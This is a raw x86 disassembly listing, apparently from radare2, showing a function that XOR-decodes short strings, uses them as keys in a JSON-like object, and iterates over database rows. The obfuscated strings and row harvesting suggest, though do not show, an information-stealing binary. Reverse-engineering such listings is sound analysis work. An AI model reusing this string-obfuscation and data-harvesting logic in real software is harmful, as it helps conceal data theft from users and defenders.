xorps xmm0, xmm0
mov ecx, edx
mov byte [ebp - 4], 0x26
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x1c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x432dc0
sub ecx, dword [ebp - 0x1c]
push ecx
push edx
mov ecx, esi
call fcn.00402b20
mov dword [ebp - 0x144], 0
mov dword [ebp - 0xe0], esi
mov byte [ebp - 4], 0x27
xor ecx, ecx
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x7c], al
inc ecx
cmp ecx, 3
jb 0x432df0
mov dword [0x558540], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x7c]
mov byte [ebp - 0x79], 0
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x2c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x28], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x432e23
sub ecx, edx
lea eax, [ebp - 0x7c]
push ecx
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402b20
mov eax, dword [ebp - 0x14]
or eax, 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 0x28
lea eax, [ebp - 0x3c]
cmp dword [ebp - 0x28], 0x10
lea ecx, [ebp - 0x158]
cmovae eax, dword [ebp - 0x3c]
push eax
call fcn.00483b70
mov esi, eax
mov cl, byte [esi]
mov eax, dword [ebp - 0xdc]
mov edi, dword [ebp - 0x80]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0xe8], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0xe0], ecx
lea ecx, [ebp - 0xe8]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0xdc], edx
call fcn.0047d5c0
mov byte [ebp - 4], 0x25
mov ecx, dword [ebp - 0x28]
mov edi, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x432ed4
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x432eca
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433396
push ecx
push edx
call fcn.004f7c11
add esp, 8
test edi, edi
je 0x432f29
cmp dword [edi + 0x2c], 0
je 0x432f04
mov eax, 1
cmp ax, word [edi + 0x30]
jae 0x432f04
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x432efc
push eax
call dword [0x555d08]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0x28
jmp 0x432f2e
mov eax, dword [edi]
test eax, eax
je 0x432f29
mov eax, dword [eax + 0x44]
test eax, eax
je 0x432f1b
push eax
call dword [0x555d08]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.004a84e0
add esp, 0xc
mov ecx, 0x53c608
mov dl, 1
call fcn.004b69f0
mov dword [ebp - 0x24], eax
test edi, edi
je 0x432f92
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x432f72
cmp byte [esi + 0x1e], 0
jne 0x432f55
mov edx, esi
cmp ecx, 0xc0a
jne 0x432f6d
push 0
push 7
push esi
call fcn.004a84e0
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x432f79
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x432f8f
push eax
call dword [0x555d10]
add esp, 4
mov eax, dword [ebp - 0x24]
push eax
call fcn.00505536
add esp, 4
push 0
push 0xf4240
push edx
push eax
call fcn.0051d110
sub eax, 0xb6109100
mov dword [ebp - 0xf5], 0x8b80859f
mov dword [ebp - 0xb8], eax
xorps xmm0, xmm0
lea eax, [ebp - 0xb8]
movq qword [ebp - 0xf1], xmm0
push eax
lea eax, [ebp - 0x118]
mov byte [ebp - 0xe9], 0
sbb edx, 2
mov byte [ebp - 0x118], 0
push eax
mov dword [ebp - 0xb4], edx
movq qword [ebp - 0x110], xmm0
call fcn.004909a0
mov byte [ebp - 4], 0x2a
xor ecx, ecx
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xf5], al
inc ecx
cmp ecx, 4
jb 0x433001
mov dword [0x558588], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xf5]
mov byte [ebp - 0xf1], 0
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x2c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x28], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x433040
sub ecx, edx
lea eax, [ebp - 0xf5]
push ecx
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402b20
mov eax, dword [ebp - 0x14]
or eax, 0x20
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x3c]
cmp dword [ebp - 0x28], 0x10
lea ecx, [ebp - 0x158]
cmovae eax, dword [ebp - 0x3c]
push eax
call fcn.00483b70
mov edi, eax
mov dl, byte [edi]
mov cl, byte [ebp - 0x118]
mov eax, dword [ebp - 0x110]
mov byte [edi], cl
mov ecx, dword [ebp - 0x10c]
mov esi, dword [edi + 0xc]
mov byte [ebp - 0x118], dl
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x118]
mov dword [edi + 8], eax
mov dword [ebp - 0x110], edx
mov dword [ebp - 0x10c], esi
call fcn.0047d5c0
mov byte [ebp - 4], 0x25
mov ecx, dword [ebp - 0x28]
cmp ecx, 0x10
jb 0x4330f9
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4330ef
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433396
push ecx
push edx
call fcn.004f7c11
add esp, 8
push dword [ebp - 0x48]
lea ecx, [ebp - 0xa8]
call fcn.0047d240
lea ecx, [ebp - 0x158]
push ecx
mov ecx, eax
call fcn.0047cf60
lea ecx, [ebp - 0x158]
mov byte [ebp - 4], 0x23
call fcn.0047d5c0
mov edi, dword [ebp - 0x44]
mov ecx, edi
call fcn.004b9b80
cmp eax, 0x64
je 0x432c92
test edi, edi
je 0x4331af
mov esi, dword [edi]
mov eax, dword [esi + 0x44]
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x433151
push eax
call dword [0x555d08]
add esp, 4
mov eax, dword [edi + 0x50]
mov dword [ebp - 0x24], 0
cmp eax, 0xbdf20da3
je 0x433169
cmp eax, 0x519c2973
jne 0x433173
mov ecx, edi
call fcn.004b8950
mov dword [ebp - 0x24], eax
mov ecx, edi
call fcn.004b8b60
test esi, esi
je 0x43319e
cmp byte [esi + 0x1e], 0
jne 0x43318d
cmp dword [ebp - 0x24], 0xc0a
jne 0x43319e
push 0
push 7
push esi
call fcn.004a84e0
add esp, 0xc
mov byte [esi + 0x1e], 0
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4331af
push eax
call dword [0x555d10]
add esp, 4
mov ecx, dword [ebp - 0x4c]
call fcn.00418110
movaps xmm0, xmmword [0x543580]
xor ecx, ecx
movups xmmword [ebp - 0xc8], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xc8], al
inc ecx
cmp ecx, 7
jb 0x4331d0
mov dword [0x558510], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xc8]
mov byte [ebp - 0xc1], 0
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x2c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x28], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x433210
sub ecx, edx
lea eax, [ebp - 0xc8]
push ecx
push eax
lea ecx, [ebp - 0x3c]
call fcn.00402b20
mov eax, dword [ebp - 0x14]
or eax, 0x40
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 0x2d
lea eax, [ebp - 0x3c]
cmp dword [ebp - 0x28], 0x10
mov ecx, dword [ebp - 0x104]
cmovae eax, dword [ebp - 0x3c]
push eax
call fcn.00483b70
lea ecx, [ebp - 0xa8]
push ecx
mov ecx, eax
call fcn.0047cf60
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x28]
cmp ecx, 0x10
jb 0x433296
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43328c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433396
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0x50]
cmp ecx, 0x10
jb 0x4332ce
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4332c4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433396
push ecx
push edx
call fcn.004f7c11
add esp, 8
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 0xf
mov byte [ebp - 0x64], 0
mov byte [ebp - 4], 8
call fcn.0047d5c0
mov esi, dword [ebp - 0x40]
inc esi
mov dword [ebp - 0x40], esi
cmp esi, dword [ebp - 0xd8]
jb 0x432570
lea ecx, [ebp - 0x70]
call fcn.00481d80
mov ecx, dword [ebp - 0x11c]
cmp ecx, 0x10
jb 0x433340
mov edx, dword [ebp - 0x130]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x433336
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4333a0
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebx + 0x20]
cmp ecx, 0x10
jb 0x431fad
mov edx, dword [ebx + 0xc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x431fa3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4333a0
jmp 0x431fa3
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov eax, dword [ebp - 0x104]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004fceb0
call fcn.00402390
call fcn.004fceb0
lea ecx, [ebp - 0xa8]
call fcn.00481860
push eax
lea ecx, [ebp - 0x1bc]
call fcn.00402a50
push eax
mov edx, str.cannot_use_operator___with_a_string_argument_with
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x1a4]
call fcn.004839c0
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x174]
call fcn.00408c10
add esp, 4
lea eax, [ebp - 0x174]
push 0x553aa0
push eax
call fcn.004f95fb
int3